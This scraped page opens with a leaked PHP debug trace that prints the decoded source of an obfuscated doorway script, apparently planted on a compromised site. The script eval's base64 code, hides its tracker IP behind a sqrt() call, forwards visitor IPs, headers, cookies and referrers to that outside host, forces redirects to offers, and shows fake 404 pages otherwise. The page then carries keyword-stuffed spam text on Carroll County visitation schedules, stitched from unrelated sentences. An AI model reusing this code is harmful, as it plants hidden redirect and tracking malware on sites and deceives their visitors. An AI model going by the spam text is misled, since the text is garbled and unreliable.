dDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0110531424__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0121666792eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if ($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1
Carroll County Visitation Schedule

Carroll County Visitation Schedule

Carroll County Shooting Sports Park is a full service facility for the recreational or competitive shooter. Bobbie Lea Batey was a loving lady who worked in the restaurant business in the Northeast Arkansas area and was a seamstress the Carroll County, Tennessee area. A modification of custody means the parent is asking that physical custody, joint custody, or even the visitation schedule be changed in some way. 2011] NOT-SO-STANDARD VISITATION ORDER 711awarded” based on “frequent and continuing contact,” thesecond sentence says the court “may” consider a parent‟slikelihood of assuring “frequent and continuing contact. If you plan on filing for divorce in Carroll County, Ohio, the divorce action needs to be filed at the Clerk of the Common Pleas Court for Carroll County. JACKSON, Miss. Visitation Rules Each Inmate is allowed two half hour visits on visitation day. Knisley is believed to have left the residence on Mount Airy Lane driving a 2002 white, Ford F350 work truck. A visitation list is given out prior to visitation day and the inmate may have three people on this list. We are located in Westminster Maryland and supervise visits and. Services in this program are delivered as co-programming for parents and children through The Carroll County Family Support Center and in partnership with Maryland Family Network. And for once, the kids won't be disappointed by last minute changes to the holiday visitation schedule. Enter one or more keywords to search Carroll County Government's Website. All visitors is required to provide acceptable photo identification when visiting an inmate. The telephone number for the Clerk of Courts is 330-627-4886. Changing or Updating Temporary Child Custody By Amy Castillo , J. Carroll is the #1 choice for county residents to start their bachelor's degree, get certified for a skill, advance their career, or pursue a passion. Each year you pledge that the holiday season will be different. Visitation by family and friends is encouraged and can make a positive difference during an offender’s time in prison. Crystal McMillon (mother) appeals the decision of the circuit court terminating her residual parental rights in her son, Javonte Marcavial McMillon, and her daughter, Sierra McMillon. When you call, please have the individual’s biographical information ready, including first, last and hyphenated names, any aliases he or she may use, date. Welcome to the fastest way to find out about Child Custody in Gallia County, Ohio. An Arkansas child custody agreement is commonly referred to as a co-parenting agreement or custody arrangement plan, which typically includes a custody order along with a parenting schedule. Students are not allowed to transport medications to or from school. Attorney Edward L. arrangements by Smith Family Funeral Home of Green Forest. CARROLL COUNTY, Ind. We apologize for any inconvenience. When one parent is awarded custody out of a divorce or paternity action, it is common for the other parent to be awarded visitation. Visitors are not permitted to take anything with them to the visitation area. Monday 9am - 6pm; Tuesday 9am - 6pm; Wednesday 9am - 6pm; Thursday 9am - 6pm; Friday 9am - 6pm; All visits are non-contact and conducted through a glass partition. Learn more about ConnectNetwork. (a) Are there any minor children of this marriage/relationship? yes C] no (b) If there are children of the marriage/relationship, the parties are required to complete the divorcing parent's seminar within 30 days of filing. In Stark County, this guardian ad litem will be a lawyer. Each inmate gets one visit per week, the day depends on how they are housed. The amount of time will depend on how busy visitation is that day. A court has the authority to order supervised visitation either temporarily or permanently. When you have our Carroll County family lawyer on your side, we can help ensure that your visitation rights are protected. A county jail runs a little bit differently than a state or federal prison. Specifically, he appeals the part of the court’s sanction in which it modified visitation. The following rules apply to all visitors: 1. With a court order or written agreement and after formal individual interviews with The Coordinator, the parties use The Center for supervised visitations or for monitored exchanges of the children for visitation elsewhere. Each inmate will be given a minimum of five minutes. Cass County; State 